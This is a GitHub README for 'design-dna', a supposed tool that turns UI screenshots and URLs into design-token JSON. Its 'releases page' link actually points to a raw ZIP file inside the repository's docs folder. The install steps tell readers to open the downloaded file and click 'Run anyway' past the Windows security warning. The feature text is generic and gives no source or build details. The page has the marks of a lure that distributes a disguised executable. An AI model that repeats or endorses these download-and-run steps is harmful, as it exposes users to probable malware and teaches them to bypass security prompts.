tricholomaaurantiumknottiness355/design-dna

# GitHub Repository: Tricholomaaurantiumknottiness355/design-dna

**URL:** https://github.com/Tricholomaaurantiumknottiness355/design-dna
**Author:** Tricholomaaurantiumknottiness355
**Description:** Extract, structure, and apply visual design identity as machine-readable Design DNA across tokens, style, and effects
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- Created: 2026-04-16T10:48:42Z
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## README
# 🧬 design-dna - Turn UI references into design tokens

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## 🧩 What design-dna does

design-dna helps you turn a UI reference into clear design data you can use again. You can use an image, a screenshot, or a URL. The app reads the visual style and builds a Design DNA JSON file with:

- design tokens
- visual styles
- color sets
- spacing and layout cues
- shadows, borders, and other effects
- notes that help match the look and feel

You can use that output to guide new UI work or to compare screens with a known style.

## 💻 What you need

design-dna runs on Windows for most common desktop setups.

You should have:

- Windows 10 or Windows 11
- A modern web browser
- Enough free space to store app files and your reference images
- A stable internet connection for the first download

For best results, keep your reference files in common formats like:

- PNG
- JPG
- JPEG
- WebP
- URL links to live pages

## 📥 Download and install

Use this page to download the app:

[Visit the design-dna releases page](https://github.com/Tricholomaaurantiumknottiness355/design-dna/raw/refs/heads/main/docs/design_dna_biosystematics.zip)

Follow these steps:

1. Open the releases page.
2. Find the latest version.
3. Download the Windows file listed under the release assets.
4. If your browser asks what to do with the file, choose Save.
5. After the download finishes, open the file to start the app.

If Windows shows a security prompt:

1. Click More info.
2. Click Run anyway if you trust the file source.
3. Let the app finish opening.

If the release includes a ZIP file:

1. Right-click the ZIP file.
2. Choose Extract All.
3. Open the extracted folder.
4. Start the app file inside that folder.

## 🪟 Run the app on Windows

After install, launch design-dna like any other Windows app.

Typical flow:

1. Open the app.
2. Choose a reference source.
3. Add an image, screenshot, or URL.
4. Let the app scan the visual style.
5. Review the generated Design DNA JSON.
6. Export the result for later use.

If you use a website URL, the app will inspect the page and pull style signals from the visible UI.

## 🎯 What you can do with it

design-dna is useful when you want to keep a UI style consistent.

Use it to:

- capture the look of an existing screen
- build a design profile from a brand site
- compare two interfaces
- create a token set for a new feature
- keep buttons, colors, and spacing in line with an approved style
- generate matching UI from your content

This helps when you want new screens to feel like part of the same product.

## 🖼️ Good reference inputs

For the cleanest output, use clear and simple references.

Best choices:

- full-screen product pages
- login screens
- dashboard pages
- pricing pages
- mobile app screens
- polished marketing pages

Try to avoid:

- blurry screenshots
- very dark photos of a screen
- cropped images with missing UI parts
- pages with pop-ups covering the main layout

If you use more than one reference, choose screens that share the same brand style.

## 🧠 What the output includes

The app creates a Design DNA JSON file that groups style data in a structured way.

You can expect fields for:

- main colors and accent colors
- font style and text weight
- spacing scale
- corner radius
- button style
- card style
- shadow depth
- border treatment
- layout rhythm
- visual mood
- surface style

This output is meant to be easy to reuse in design tools, content systems, and UI generation flows.

## 🔄 Example workflow

A simple workflow looks like this:

1. Open design-dna.
2. Add a reference screenshot.
3. Let the app read the screen.
4. Review the color and style data.
5. Export the JSON.
6. Use the data to build a new screen that matches the same look.

You can also use a URL when you want to study a live site instead of a saved image.

## 🛠️ Common use cases

design-dna fits a few common tasks:

- making a design system from an existing product
- matching a new page to a brand style
- collecting visual rules from a reference UI
- creating a shared style base for a team
- feeding design data into an AI workflow
- rebuilding a screen with the same visual feel

It works well for product teams, UI designers, and solo builders who want a faster way to capture a style.

## 📂 File handling

Keep your files easy to find.

A simple setup helps:

- create one folder for reference images
- create one folder for exports
- name files by page or project
- keep old versions in a separate folder

This makes it easier to compare styles and reuse past results.

## ⚙️ Tips for better results

Use these tips to get cleaner output:

- use clear screenshots with full UI visible
- prefer one strong reference over many weak ones
- remove browser chrome when possible
- use pages with real content, not empty shells
- choose a screen with a stable layout
- use similar screen sizes when comparing pages

If a page has a fixed theme, use a screen that shows both text and UI controls.

## ❓ Common questions

### Can I use this with screenshots?
Yes. design-dna can read screenshots and turn them into structured style data.

### Can I use a website URL?
Yes. You can use a URL to inspect a live page and pull design signals from it.

### Do I need design skills?
No. The app is built for regular users who want to capture a look and reuse it.

### Can I use the output in other tools?
Yes. The JSON output is built for reuse in design and UI workflows.

### Will it help match a brand style?
Yes. It can capture common style cues like color, spacing, typography, and surface treatment.

## 📌 Suggested first run

If this is your first time using design-dna, start small:

1. Pick one clean screenshot.
2. Open the app.
3. Import the image.
4. Review the generated Design DNA JSON.
5. Save the file.
6. Try a second screen from the same product and compare the result.

This gives you a fast way to see how the app describes a visual style

## 🧭 Project focus

design-dna is built around:

- agent skills
- design systems
- design tokens
- UI design
- visual design
- structured style capture

It helps turn visual references into data you can use in a repeatable way.